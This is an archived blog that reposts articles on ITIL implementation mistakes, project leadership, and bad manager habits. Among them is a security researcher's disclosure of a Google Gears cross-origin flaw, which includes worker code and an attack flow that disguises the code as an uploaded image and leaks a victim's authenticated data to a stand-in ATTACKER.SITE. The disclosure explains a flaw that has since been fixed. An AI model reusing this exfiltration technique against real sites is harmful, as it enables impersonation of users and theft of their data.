Indgenx Thoughts

ITIL : Top 10 pitfalls

2009-09-26T08:53:00.000-07:00

The IT Infrastructure Library (ITIL) is implemented in companies worldwide to change and improve processes within an organization. With ITIL, everything is changing -- organizational change as much as process change.But change doesn't always come easy. Organizations often make mistakes within the first year of an ITIL implementation, and that's normal. In his presentation at Pink Elephant Inc.'s 12th Annual International IT Service Management Conference & Exhibition, Graham Price, IT management consultant at Pink Elephant, addressed the 10 biggest mistakes IT organizations make during the first year of an ITIL implementation.

Mistake No. 1: There is no vision. No one is sure of what is happening with ITIL and there are no clear answers.
What to do: Make sure the plan and focus for the ITIL project is clear, so you can get buy-in or support. A vision will also build momentum for the initiative.

Mistake No. 2: Top-down commitment isn't necessary. The project can be infiltrated via middle management.
What to do: You really need an executive sponsor for ITIL, especially when you need more time, money or
resources. It's hard to sell ITIL to an executive board, especially when executives have no idea what you're talking about. You need a boardroom champion or sponsor for any ITIL project.

Mistake No. 3: We don't need a business case. We know why ITIL is important and why we're doing it.
What to do: You need to articulate the business benefits of ITIL to the stakeholders. Create a project checklist that includes the following items:
• Understand and articulate cost. We know there's a cost for doing ITIL -- but what do we get in return?
• Confirm the scope. This must be very clear.
• Specify success criteria and define benefits. Define the success of your program and how to meet your
goals. Outlining benefits will help justify the resources you need.

Mistake No. 4: We don't need an initial baseline. Let's just get started.
What to do: Figure out what you're trying to improve on. Have specific targets identified and have examples of usable baseline methods such as maturity assessment and change readiness assessment.

Mistake No. 5: ITIL is not a strategic project, so we can use existing resources to implement it.
What to do: Create a formal project plan and identify the best resources for the project, not just people who have free time. Create a "Dream Team" of ITIL resources that includes the following: an executive sponsor, steering committee, stakeholders, process owner, process manager, project manager, process advisor and process team members.

Mistake No. 6: We don't need a communications strategy. A few emails and a kickoff meeting will suffice.
What to do: A clear communications strategy will help you tell management the what, when and why for the ITIL project. Use a variety of ways to communicate. Most people prefer face-to-face communications (Web meetings,videocasts, etc.) vs. just email. Be creative to bring attention to the project. Involve a marketing or communications person to help create a communications strategy. Tailor the messages for your various target audiences, i.e.,senior management, middle management, etc. Have a consistent message and use the same terminology throughout all communications. Two-way, interactive communication allows for more user feedback.

Mistake No. 7: We don't need an overall process strategy. Different process teams can do their own thing and we'll worry about process integration later. Let's just get it done.

What to do: Introduce document control and establish common templates for all processes. Be consistent. Design your processes with integration in mind.
Mistake No. 8: We'll start with a new tool and build processes around that later.

What to do: Allow ample time for implementation. When selecting a tool, remember that the vendor's version of ITIL isn't necessarily the same as yours. Listen to the vendor's views, but base your selection on your own plan and process design.

Mistake No. 9: Unmanaged scope creep. Manage growth as you go along.
What to do: Don't bite off more than you can chew. Continual service improvement is a large part of the new ITIL.You doesn’t need to get it perfect out of the gate. Work on making it better and keep improving. A steering committee should approve any scope changes.

Mistake No. 10: We don't expect much resistance to ITIL. We'll just tell them what to do.
What to do: People will resist change and need a reason to change. Let your staff know what's in it for them.You're not just changing processes with ITIL -- you're changing culture and people, too.

2009-06-19T18:29:00.001-07:00

Lead by Fear and Intimidation or Lead by Positive Motivation… – Your Choice

By Lisa Winter on June 8th, 2009

Leadership by pedrosimoes7 via Flickr

As Project Managers, I’m sure we’ve all seen the kind of scenario where there is a project team member who is generally uncooperative or can’t seem to get the tasks done on time – and the different approaches you can take in order to solve this problem. You can take the dictatorial “Do as I say” approach and intimidate/shame someone into being productive or else – or you can try to build a bridge between you and your team member, and work together to get things into motion.

How many times have you either heard the tale of the non-productive team member on a team from one of your colleagues, or witnessed it firsthand on one of your projects?

It comes as a shock to me that Project Managers still frequently employ some kind of fear/intimidation tactic, without trying to at least further the relationship first. I realize that we may all have time and cost constraints, be jaded by having seen this crop up too many times, or just be plain tired from large Enterprise Projects which have long durations, but we’re forgetting the human factor, one of the most unpredictable forces of nature… and of projects in general. Other than that rare one-in-a-million occurrence that we fail to predict or account for, human beings provide one of the riskiest, most dynamic elements.

I once had a fairly curmudgeonly senior developer on one of my highly visible projects. He had tested and managed to get rid of the last two PMs off the project. The VP who was in charge told me in the hallway as he was bringing me in that “if you can pass Tom’s test, you’ve got a long career ahead of you at XYZ Company.” Yup, this was going to be trial by fire… and the adrenaline was flowing. Tom and I shook hands, and he looked at me expectantly; a gleam in his eyes of “Hmmm, another lame PM to toy with.” “Could I please see what you’ve been working on?” I asked. A big smile appeared on his face. None of the other PMs had ever asked to see his code, or even bothered to take a few minutes to get to know him. We spent the next hour with Tom showing me the code; explaining what it was doing; what the major challenges were for the project. I noticed a bag of spicy potato chips with jalapenos and some gourmet guacamole on his desk. I figured that was his lunch/snack of choice, and decided to test my theory.

A few days later, I went by his cube and left the same kind of chips and guacamole on his desk, when he was in a meeting – and then followed up a couple of hours later when he was back. “How are you doing?” I said. “Someone left me my favorite chips and dip,” he said wonderingly. We proceeded to talk about his progress (I was doing my MBWA – Management by Walking Around.) He finally figured out that it was me who put the snack in his cube, but only after the third time. I ended up getting rave reviews from him – “Lisa is the only PM I ever want to work with” – and the VP was satisfied – no more revolving door of PMs for the duration of this project. And when push came to shove, he volunteered to work weekends when our time line got cut short, due to a decree by Senior Management. His buy-in made the critical difference and galvanized the entire team into working their butts off and making the launch on time.

Setting the tone for an open and collaborative working environment is one of the most significant contributions a Project Manager can make toward getting the project done. You want people to want to work on your project; you want them to see it as a priority, and take pride and ownership in delivery. It takes time to do it right since you have to invest the time necessary to forge the relationships and create trust and work things out within the team. As my esteemed colleague Kimberly Wiefling has promoted in her book “Scrappy Project Management” and I fully agree – “Teams have shared goals and a commitment to those goals that is stronger than their individual motives. Teams care about their mutual success. Teams of people trust each other, and work together for the greater good, even when individuals have an axe to grind with each other.” To this quote, I would add, “As Project Managers, we not only lead the team, we are part of the team – and having the mantra of “All for one, and one for all” can take us a long way.

Google Gears & the Secutiry LoopHoles... Nice Article!!

2009-06-18T20:20:00.000-07:00

Breaking Google Gears' Cross-Origin Communication Model

Background

Google Gears is a well-known RIA infrastructure, used extensively by Google in various services such as Google Docs and Google Reader as well as in non-Google services such as MySpace, Zoho Writer and WordPress.

Gears is a browser extension that allows developers to create richer and more responsive web-applications. One of its key features is the ability to create web-applications that can run both online and offline transparently.
Some of the capabilities Gears introduces are:

A local server, to cache and serve application resources (HTML, JavaScript, images, etc.) without needing to contact a server
A database, to store and access data from within the browser
A worker thread pool, to make web applications more responsive by performing expensive operations in the background
The HttpRequest API, which implements a subset of the W3C XmlHttpRequest specification
A Geolocation API that enables a web application to obtain a user's geographical position

(The descriptions above are taken from the Google Gears documentation)

In my opinion, one of the nicest things in Gears is the way it is utilized. This is done by inserting JavaScript calls to Gears' API within the HTML code of the web-application. Therefore, unlike some of its alternatives, Gears can be integrated into existing web-applications easily and fluently.

For a full explanation and usage examples of Google Gears, you are invited to enter theGetting Started section in the Google Gears website.

Like other RIA infrastructures, Google Gears offer developers cross-origin communication capabilities. These capabilities are very important to developers, as they make it much easier to implement mashups and other desirable features.

Security-wise, however, cross-origin communication has some downsides. A poor or careless implementation might allow attackers to break-out of the same-origin policy and mount large scale user-impersonation attacks. The ramifications of such a flaw can be disastrous.

A few months ago, I discovered that the cross-origin communication security model of Google Gears wasn't solid enough, and that under some circumstances it could be bypassed pretty easily.
After coordinating a fix with Google, I can now reveal the details.

Gears' Cross-Origin communication implementation

Let's assume that we are web-developers and that we have a web page located athttp://Some.Site/ that needs to gather information from a user-authenticated session athttp://Another.Site/.
This can be done by using Google Gears' WorkerPool API. All you have to do is load a Google Gears "worker" (JavaScript code with access to Google Gears capabilities such as Local Server, Http communication and Database) using thecreateWorkerFromUrl(scriptUrl) method.
Google Gears "workers" that are intended to be loaded from a remote origin must begin with a call to allowCrossOrigin(). This serves as a security measure against unauthorized remote loading of "workers".

If a worker was created from a different origin, all methods on google.gears.factorywill fail in that worker until allowCrossOrigin() is called.
This prevents cross-site scripting attacks where the attacker could load a worker URL from another domain, then send malicious messages to that worker (e.g. "delete-all-data").
Workers that call allowCrossOrigin() should check messageObject.origin and ignore messages from unexpected origins.

Here's an excerpt from Google Gears' documentation:

If a worker was created from a different origin, all methods ongoogle.gears.factory will fail in that worker untilallowCrossOrigin() is called.
This prevents cross-site scripting attacks where the attacker could load a worker URL from another domain, then send malicious messages to that worker (e.g. "delete-all-data").
Workers that call allowCrossOrigin() should checkmessageObject.origin and ignore messages from unexpected origins.

The Problem

At first sight, this protection seems to be solid.

However, after playing around with the infrastructure, I found that the Google Gears workers' loader has a rather promiscuous policy: it disregards the headers of the Gears worker files it loads!
That fact opens an aperture for malicious attacks. It significantly broadens the options an attacker has for planting malicious Gears worker code in a target website. For example, it is possible to upload files with an image suffix that actually contain Gears Worker code instead. Later on, such a file might be loaded from the context of other domains by a Google Gears Worker loader, despite the fact that it is served as an image file by the web-server!

It follows that the security of websites that contain users' content (forums, web-mails, social networks, office-like services, etc.) might be circumvented and damaged due to this behavior. During my research, I verified that various well-known services are indeed susceptible to the attack described in this summary.

Furthermore, the fact that the Gears worker code doesn't contain concrete "dangerous" characters might actually make it harder for websites to defend against Google Gears-based cross-origin access attacks such as the one described below.

An example of Google Gears worker code:

var wp = google.gears.workerPool;  wp.allowCrossOrigin();    wp.onmessage = function(a, b, message) {    var request = google.gears.factory.create('beta.httprequest');    request.open('GET', 'http://TARGET.SITE/SENSITIVE_PAGE.htm');       request.onreadystatechange = function() {       if (request.readyState == 4) {         wp.sendMessage("The response was: " +        request.responseText, message.sender);         }     };    request.send();  }

The script above grabs information from http://TARGET.SITE and then leaks it back to its remote caller using Google Gears' built in messaging API.

Flow of Attack

Attacker creates a text file that contains (malicious) Google Gears commands (Accessing the DB, using the HttpRequest module, etc.).
Attacker finds a way to put the text content into a target domain (http://TARGET.SITE/Upload/innocent.jpg, for example). The Gears "worker" code does not contain suspicious characters (<,>, etc...), it is therefore less likely to be filtered by http://TARGET.SITE's server-side logic.
Attacker creates http://ATTACKER.SITE/attack.html which contains some Google Gears code that loads and executes http://TARGET.SITE/Upload/innocent.jpg.
The code embedded in innocent.jpg (in this example) runs in the context ofhttp://TARGET.SITE. It therefore has permissions to access Google Gears client-side objects such as the DB, the local server data or web resources (with the victim's credentials) using the HttpRequest module built into Google Gears.
All information collected in the previous phase can easily be leaked back tohttp://ATTACKER.SITE using Google Gears' standard messaging mechanism.

Note:
While http://ATTACKER.SITE has to be approved for using Google-Gears,http://TARGET.SITE can be any site that hosts user-created content, even if it doesn't use Google-Gears at all.

The Fix

Following my reporting to Google of the aforementioned flaw and attack, a patched version of Google Gears was released. The fix is based on a special Google-Gears Content-Type header value (application/x-gears-worker) that must be sent by the web-server when it serves Google-Gears worker code files. Without that value the loading of such worker files is denied.

While this looks like a great solution, it suffers from a slight backward-compatibility issue. Web-developers who rely on Google Gears should be aware that the fix might require some changes, such as creating a special rule in the web-server for serving Google-Gears worker code files.

For more information about the new security restriction described above, please visit theGoogle-Gears cross-origin workers documentation.

Acknowledgments:

I would like to thank the Google Gears security team for their quick responses and the efficient way in which they handled this security issue.

Posted by Yair Amit on December 08, 2008 in AJAX Security, Research, Web Application Security |Permalink

Not to do List for MANAGERS !!!!!!!!!!!!!!!

2009-06-04T00:39:00.000-07:00

Though the article gives a more cynical view , but these are defenitely some of the pitfalls that a Manager can avoid!!!!!!!!!!!!!!!!!!!!!! Yes just as the doctor (read cOvey )orders just "7" of them .................

1. Patrolling the cube farm like you're the vacation police.
At some point in every horrible manager's career, they lose focus on what actually matters to the business. For some this happens immediately. For others, this happens because of pressure from their own manager who also happens to be completely inept. Tracking sick days and vacation days like a hawk is just one example of managers lacking a true understanding of their value to the organization. They'll go to extraordinary lengths to ensure vacation and sick days are tracked appropriately, often instituting ridiculous and insulting rules such a "Days off x 10" policy that requires an employee to give one month notification for a two day vacation.

Result: The four days they saved the company in hypothetical lost productivity had a $1280 price tag. Unfortunately, the manager used $24,000 of their own time to save those four days.

2. Promising Pangaea and delivering Delaware.
Managers never ruin a chance to please their own supervisors. When push comes to shove, the ineffective manager always gets shoved. Because of this, they never inform anyone that they cannot fulfill the massive number of requests coming in from the customer. Instead, they agree to everything and inform their team that they will be working unpaid overtime to ensure its success.

Result: In the end, nobody received what they wanted and the manager is despised by everyone.

3. Appearance takes precedence over results.
This is not only true of the actual work they perform, but also true of their own physical appearance. Managers love to beat the dress code. If an office has a casual dress code, managers dress business casual. If an office is business casual, the manager dresses professional. If everyone else is dressing professional, the bad managers are finally exposed for who they really are -- a worthless member of the corporation.

Result: They are promoted for dressing nice because their manager was promoted for dressing nice. And the cycle continues on.

4. Spending their entire day in Microsoft Project like a child in a sandbox.
The worst thing that ever happened to project management is Microsoft Project. While it may have some benefits, many managers spend nearly their entire day 'moving things around' in Microsoft Project. What once was considered a job that required actual business skills is now a job requiring the entry of fake dates into a piece of software, and then moving those dates when they are missed.

Result: Every member of the project or department ignores the manager because everything they do and say is meaningless.

5. Becoming the office minuteman (or minute-woman).
The term "key action items" was invented by managers who do nothing but take notes during a meeting. They have no idea what's going on in a meeting. Their presence exists solely to record the events of the meeting, thus making them the most expensive court reporter in the state. The only time they speak up is to make sure they've captured the "key action items" for each person in the meeting. Following the meeting, the minutes they send to each attendee barely make sense, making it very apparent that they have absolutely no idea what they're doing.

Result: The manager makes everything more confusing and no one knows what they are actually supposed to do.

6. Positioning yourself to be sure that failure is blamed on others.
One of the most important aspects to any successful manager is the ability to place blame on others. It's inevitable that you will fail more than you will succeed. However, managers who make it in the business world are always focused on what truly matters -- their own arse. It isn't important that things get done. It's important that you aren't blamed when nothing gets done.

Result: Same result as #7 below.

7. Jumping ship.
Similar to the above, jumping ship is the more drastic version of shifting blame on to others. If there is one thing that every over-promoted manager has in common, it's the uncanny ability to jump ship before the ship sinks. Grand ideas that cause massive sweeping changes to projects and departments are surprisingly common within the corporate world. The majority of these grand ideas result in catastrophic failure -- but the managers who escape before the storm are applauded for their wonderful ideas and fantastic execution. Three months later, the employees still on the project are left cleaning up their mess and are demoted for their poor work ethic and lack of innovation.

Result: The manager is continually promoted until they reach a C-Level executive position at which point they look back at the forest fire they created and then jump ship to a new company and start over again, but this time at the executive level. Rinse and repeat.